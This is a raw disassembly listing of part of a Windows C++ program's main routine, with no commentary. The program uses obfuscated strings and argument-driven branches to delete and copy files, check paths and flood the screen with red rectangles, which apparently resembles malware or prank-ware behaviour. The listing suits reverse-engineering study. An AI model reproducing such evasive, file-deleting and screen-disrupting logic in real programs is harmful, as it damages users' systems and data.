lea rax, [rbp + 0x279d]
mov rcx, rax
call method.main.lambda__118::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__12208978377041634739ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x279c]
lea rax, [rbp + 0x2770]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2770]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2770]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x279c]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
cmp dword [rbp + 0x3dd0], 9
jle 0x2319550ff
lea rax, [rbp + 0x279e]
mov rcx, rax
call method.main.lambda__119::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__78752928585085317ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x48
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319550ff
mov eax, 1
jmp 0x231955104
mov eax, 0
test al, al
je 0x231955145
lea rax, [rbp + 0x279f]
mov rcx, rax
call method.main.lambda__120::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__9197321711442543451ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x23195514f
mov ecx, 1
call sym.f_lws_int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x27ce]
mov qword [rbp + 0x3a10], rax
nop
nop
lea rax, [rbp + 0x27cf]
mov rcx, rax
call method.main.lambda__121::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__16986858615306656725ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x27ce]
lea rax, [rbp + 0x27a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x27a0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x27a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x27ce]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x27fe]
mov qword [rbp + 0x3a08], rax
nop
nop
lea rax, [rbp + 0x27ff]
mov rcx, rax
call method.main.lambda__122::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__9334695191657534417ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x27fe]
lea rax, [rbp + 0x27d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x282f]
mov qword [rbp + 0x3a00], rax
nop
nop
lea rcx, [rbp + 0x282f]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x2800]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xe0]
lea rcx, [rbp + 0x27d0]
lea rdx, [rbp + 0x2800]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2800]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x282f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x27d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x27fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, qword [rbp + 0x3d80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x2830]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x2850]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x2830]
lea rax, [rbp + 0x2850]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x2850]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2830]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x289e]
mov qword [rbp + 0x39f8], rax
nop
nop
lea rax, [rbp + 0x289f]
mov rcx, rax
call method.main.lambda__123::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15546885145910833927ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x289e]
lea rax, [rbp + 0x2870]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2870]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2870]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x289e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x3cc8], rax
mov ecx, 0xff
mov rax, qword [sym.imp.GDI32.dll_CreateSolidBrush]
call rax
mov qword [rbp + 0x3cc0], rax
mov rdx, qword [rbp + 0x3cc0]
mov rax, qword [rbp + 0x3cc8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov dword [rbp + 0x3d7c], 0
jmp 0x2319554bf
mov eax, dword [rbp + 0x3d7c]
lea edx, [rax + 0x1f4]
mov rax, qword [rbp + 0x3cc8]
mov dword [rsp + 0x20], 0x320
mov r9d, edx
mov r8d, 0x32
mov edx, 0x32
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_Rectangle]
call rax
mov edx, 0
mov ecx, 0x32
call sym.f_slpc_unsigned_long__int_
add dword [rbp + 0x3d7c], 0xa
cmp dword [rbp + 0x3d7c], 0x3e7
jle 0x231955474
mov dword [rbp + 0x3d78], 0
jmp 0x231955532
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov ebx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov edx, eax
mov rax, qword [rbp + 0x3cc8]
mov dword [rsp + 0x20], ebx
mov r9d, edx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_Rectangle]
call rax
mov edx, 0
mov ecx, 0x32
call sym.f_slpc_unsigned_long__int_
add dword [rbp + 0x3d78], 1
cmp dword [rbp + 0x3d78], 0x1d
jle 0x2319554d7
mov rax, qword [rbp + 0x3cc0]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x3cc8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x28ce]
mov qword [rbp + 0x39f0], rax
nop
nop
lea rax, [rbp + 0x28cf]
mov rcx, rax
call method.main.lambda__124::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__12774405235838789413ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x28ce]
lea rax, [rbp + 0x28a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x28a0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x28a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x28ce]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x28f9]
mov qword [rbp + 0x39e8], rax
nop
nop
lea rax, [rbp + 0x28fa]
mov rcx, rax
call method.main.lambda__125::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__11627512603815426915ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x28f9]
lea rax, [rbp + 0x28d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x28d0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x28d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x28f9]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x28fb]
mov rcx, rax
call method.main.lambda__126::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__5302231057700062207ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x28fc]
mov rcx, rax
call method.main.lambda__127::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__825191848900378469ull__char_.operator_char__
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call rax
mov edx, 0
mov ecx, 0x2710
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x2319557a4
lea rax, [rbp + 0x28fd]
mov rcx, rax
call method.main.lambda__128::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__16543697998632831995ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319557a4
mov eax, 1
jmp 0x2319557a9
mov eax, 0
test al, al
je 0x231955986
lea rax, [rbp + 0x28fe]
mov qword [rbp + 0x39e0], rax
nop
nop
lea rax, [rbp + 0x28ff]
mov rcx, rax
call method.main.lambda__129::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_38ull__10748834054314596297ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x28fe]
lea rax, [rbp + 0x320]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x28fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x294e]
mov qword [rbp + 0x39d8], rax
nop
nop
lea rax, [rbp + 0x294f]
mov rcx, rax
call method.main.lambda__131::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__18250672491631450511ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x294e]
lea rax, [rbp + 0x2920]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x2970]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x29b8]
mov qword [rbp + 0x39d0], rax
nop
nop
lea rax, [rbp + 0x29b9]
mov rcx, rax
call method.main.lambda__130::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_20ull__18250672491631450511ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x29b8]
lea rax, [rbp + 0x2990]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2950]
lea rcx, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2900]
lea rcx, [rbp + 0x2920]
lea rdx, [rbp + 0x2950]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2900]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2900]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2950]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2990]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x29b8]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2970]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2920]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x294e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov ebx, 0
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x2319559ca
lea rax, [rbp + 0x29ba]
mov rcx, rax
call method.main.lambda__132::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__1294545109803689831ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319559ca
mov eax, 1
jmp 0x2319559cf
mov eax, 0
test al, al
je 0x231956a99
lea rax, [rbp + 0x980]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x430]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x650]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x29bb]
mov rcx, rax
call method.main.lambda__133::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__9941605319055201215ull__char_.operator_char__
mov qword [rbp + 0x3cf0], rax
lea rax, [rbp + 0x29bc]
mov rcx, rax
call method.main.lambda__134::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__7009084475070461393ull__char_.operator_char__
mov qword [rbp + 0x3ce8], rax
lea rax, [rbp + 0x29bd]
mov rcx, rax
call method.main.lambda__135::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__10940105345658744759ull__char_.operator_char__
mov qword [rbp + 0x3ce0], rax
lea rax, [rbp + 0x29be]
mov qword [rbp + 0x39c8], rax
nop
nop
lea rax, [rbp + 0x29bf]
mov rcx, rax
call method.main.lambda__136::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_38ull__6870676276138939703ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x29be]
lea rax, [rbp + 0x320]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x29be]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x3ce8]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
je 0x231955afb
mov rax, qword [rbp + 0x3ce0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
je 0x231955afb
call sym.f_ele__
test eax, eax
je 0x231955afb
mov eax, 1
jmp 0x231955b00
mov eax, 0
test al, al
je 0x2319569b8
lea rax, [rbp + 0x2a0f]
mov qword [rbp + 0x39c0], rax
nop
nop
lea rcx, [rbp + 0x2a0f]
mov rdx, qword [rbp + 0x3cf0]
lea rax, [rbp + 0x29e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2a3e]
mov qword [rbp + 0x39b8], rax
nop
nop
lea rax, [rbp + 0x2a3f]
mov rcx, rax
call method.main.lambda__137::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_17ull__2015328969876935511ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2a3e]
lea rax, [rbp + 0x2a10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x29c0]
lea rcx, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x29c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x29c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a3e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x29e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a0f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2a8f]
mov qword [rbp + 0x39b0], rax
nop
nop
lea rcx, [rbp + 0x2a8f]
mov rdx, qword [rbp + 0x3cf0]
lea rax, [rbp + 0x2a60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2abf]
mov qword [rbp + 0x39a8], rax
nop
nop
lea rcx, [rbp + 0x2abf]
lea rdx, [rbp + 0x430]
lea rax, [rbp + 0x2a90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2a40]
lea rcx, [rbp + 0x2a60]
lea rdx, [rbp + 0x2a90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2a40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x2a40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2abf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2a60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a8f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2b0f]
mov qword [rbp + 0x39a0], rax
nop
nop
lea rcx, [rbp + 0x2b0f]
mov rdx, qword [rbp + 0x3ce0]
lea rax, [rbp + 0x2ae0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2b3f]
mov qword [rbp + 0x3998], rax
nop
nop
lea rcx, [rbp + 0x2b3f]
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x2b10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2ac0]
lea rcx, [rbp + 0x2ae0]
lea rdx, [rbp + 0x2b10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2ac0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x2ac0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b3f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2ae0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b0f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2b8f]
mov qword [rbp + 0x3990], rax
nop
nop
lea rcx, [rbp + 0x2b8f]
mov rdx, qword [rbp + 0x3cf0]
lea rax, [rbp + 0x2b60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2bbf]
mov qword [rbp + 0x3988], rax
nop
nop
lea rcx, [rbp + 0x2bbf]
lea rdx, [rbp + 0x430]
lea rax, [rbp + 0x2b90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2b40]
lea rcx, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2b40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x3ce8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x2b40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2bbf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2b60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b8f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2c0f]
mov qword [rbp + 0x3980], rax
nop
nop
lea rcx, [rbp + 0x2c0f]
mov rdx, qword [rbp + 0x3ce0]
lea rax, [rbp + 0x2be0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2c3f]
mov qword [rbp + 0x3978], rax
nop
nop
lea rcx, [rbp + 0x2c3f]
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x2c10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2bc0]
lea rcx, [rbp + 0x2be0]
